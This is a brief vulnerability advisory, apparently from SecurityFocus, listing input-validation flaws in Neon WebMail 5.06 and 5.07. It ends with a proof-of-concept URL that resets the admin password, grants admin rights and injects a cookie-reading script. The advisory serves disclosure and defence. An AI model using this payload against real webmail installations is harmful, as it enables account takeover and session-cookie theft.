source: http://www.securityfocus.com/bid/20109/info
     
Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:
     
- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 
     
An attacker can exploit these issues to compromise the affected application.
     
Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/updateuser?in_id=admin&in_pass=hacked&
in_name=<script>alert(document.cookie);</script>&in_admin=1&in_showmailcount=10&
in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&exe=update